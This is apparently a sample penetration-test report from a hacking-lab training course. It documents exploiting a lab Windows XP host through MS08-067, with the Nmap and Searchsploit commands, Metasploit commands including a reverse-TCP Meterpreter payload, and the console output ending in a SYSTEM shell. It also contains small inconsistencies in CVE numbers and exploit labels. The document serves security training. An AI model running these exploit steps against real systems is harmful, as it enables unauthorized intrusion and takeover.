VIRTUAL HACKING LABS

PENETRATION TESTING SAMPLE REPORT

<Student name>

<VHLC-ID>

<date>

VERSION 1.0.3

TARGET: JOHN (10.1X.1.83)

Introduction

<VHL-ID or Name> was tasked to conduct an assessment on 10.1x.1.83. <VHL-ID or Name> began the assessment by enumerating open ports and services with Nmap, a utility for network discovery and security auditing. Using NMAP scripts, SMB protocol vulnerabilities were discovered. The Metasploit framework was then used to exploit the discovered vulnerabilities, which resulted in getting NT AUTHORITY\SYSTEM privileges on the target.

In this engagement, the following vulnerabilities were discovered:

OS: Windows XP SP3

Open ports: SMB [135, 139, 445], RDP [3389]

- Vulnerable to popular MS08-067 vulnerability.

- Vulnerable to popular MS17-010 vulnerability.

CVE IDs: CVE-2008-4250, CVE-2017-0144

Metasploit exploit: exploit/windows/smb/ms08_067_netapi

Alternative exploit: https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py

Contents of key.txt: [Insert key contents]

Testing Environment

Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux

Attack Narrative

- Run Nmap to determine OS and open ports.

- Run Nmap script scan to test the target for MS08-067 and MS17-010.

- Exploit MS08-067 and MS17-010 for a SYSTEM shell.

Information Gathering

First, we ran a Nmap scan to determine the OS version and services:

sudo nmap -sV -O 10.1x.1.83

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -O 10.11.1.83
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-15 12:26 EDT
Nmap scan report for 10.11.1.83
Host is up (0.019s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Device type: general purpose
Running: Microsoft Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::sp3
OS details: Microsoft Windows XP SP3
Network Distance: 2 hops
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.82 seconds
```

OS: Windows XP SP3

Open ports: SMB [135, 139, 445], RDP [3389]

Vulnerability identification
With Nmap, we could see that the target was potentially vulnerable to MS08-067 and MS17-010.

MS08-067
nmap --script smb-vuln-ms08-067.nse -p445 10.1x.1.83

```
┌──(kali㉿kali)-[~]
└─$ nmap --script smb-vuln-ms08-067.nse -p445 10.11.1.83
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-15 12:30 EDT
Nmap scan report for 10.11.1.83
Host is up (0.020s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

Nmap done: 1 IP address (1 host up) scanned in 0.99 seconds
```

The target was **vulnerable** to MS08-067/CVE-2008-4250.

Using Searchsploit, we found the following exploits for MS08-067:

searchsploit MS08-067

```
┌──(kali㉿kali)-[~]
└─$ searchsploit MS08-067
------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067)          | windows/remote/40279.py
Microsoft Windows Server - Code Execution (MS08-067)                           | windows/remote/7104.c
Microsoft Windows Server - Code Execution (PoC) (MS08-067)                     | windows/dos/6824.txt
Microsoft Windows Server - Service Relative Path Stack Corruption (MS08-067) ( | windows/remote/16362.rb
Microsoft Windows Server - Universal Code Execution (MS08-067)                 | windows/remote/6841.txt
Microsoft Windows Server 2000/2003 - Code Execution (MS08-067)                 | windows/remote/7132.py
------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

A search for MS08-067 in Metasploit resulted in the following exploit:

```
msf6 > search MS08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
```

The found exploit was ranked as **great**, which meant that the exploit was very reliable and could most likely result in successful exploitation of MS08-067.

MS17-010

nmap --script smb-vuln-ms17-010 -p445 10.1x.1.83

```
┌──(kali㉿kali)-[~]
└─$ nmap --script smb-vuln-ms17-010 -p445 10.11.1.83
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-15 12:33 EDT
Nmap scan report for 10.11.1.83
Host is up (0.018s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
```


The target was also **vulnerable** to MS17-010/CVE-2017-0143.

Using Searchsploit, we could find the following exploits for MS08-067:

searchsploit MS17-010

```
┌──(kali㉿kali)-[~]
└─$ searchsploit MS17-010
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Executi | windows/remote/43970.rb
Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)              | windows/dos/41891.rb
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)           | windows/remote/42031.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17 | windows/remote/42315.py
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) | windows_x86-64/remote/42030.py
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) | windows_x86-64/remote/41987.py
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

The exploit titles indicated that most of the exploits applied to Windows 7/8/8.1 and Windows Server 2008 R2, 2012 R2 and 2016 R2. However, Windows XP SP3 (the identified OS) was not mentioned in any of the exploits.

A search for MS17-010 in Metasploit resulted in the following exploits:

```
msf6 > search MS17-010

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
 Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption fo
r Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
 Windows Code Execution
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
```

After reviewing each of the Metasploit exploits, and finding that they all were crafted for 64-bit Windows 7 and higher targets only, we decided to focus on exploiting MS08-067 with Metasploit.

Exploitation using MS08-067
MS08-067 can be exploited with the following Metasploit module: exploit/windows/smb/ms08_067_netapi

Commands:

msfconsole

use exploit/windows/smb/ms08_067_netapi

set rhost 10.1x.1.83

set payload windows/meterpreter/reverse_tcp

set lhost ppp0

run

```
       =[ metasploit v6.0.29-dev                          ]
+ -- --=[ 2098 exploits - 1129 auxiliary - 357 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 10.11.1.83
rhost => 10.11.1.83
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost ppp0
lhost => ppp0
msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 172.16.1.2:4444
[*] 10.11.1.83:445 - Automatically detecting the target...
[*] 10.11.1.83:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.11.1.83:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.11.1.83:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.11.1.83
[*] Meterpreter session 1 opened (172.16.1.2:4444 -> 10.11.1.83:1052) at 2021-03-15 12:57:53 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```


The exploit executed successfully and we received a Meterpreter session with **NT AUTHORITY\SYSTEM** privileges on the target.

With the following commands we obtained the contents of the key.txt file:

shell

type C:\"Documents and Settings"\Administrator\Desktop\key.txt

```
meterpreter > shell
Process 1816 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 10.11.1.83
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 10.11.1.1

C:\WINDOWS\system32>type C:\"Documents and Settings"\Administrator\Desktop\key.txt
type C:\"Documents and Settings"\Administrator\Desktop\key.txt
hbbja4okjkr1hamuycb
C:\WINDOWS\system32>
```

Mitigation

We recommend upgrading to at least Windows 10, 3rd party software compatibility permitting.

Conclusion

John was vulnerable to attack by the popular MS08-067 and MS17-010 SMB exploit. We strongly recommend remediating this issue as soon as possible since it can lead to complete takeover of the target host by a threat actor. This will require upgrading the operating to the newest supported version; patching will be insufficient.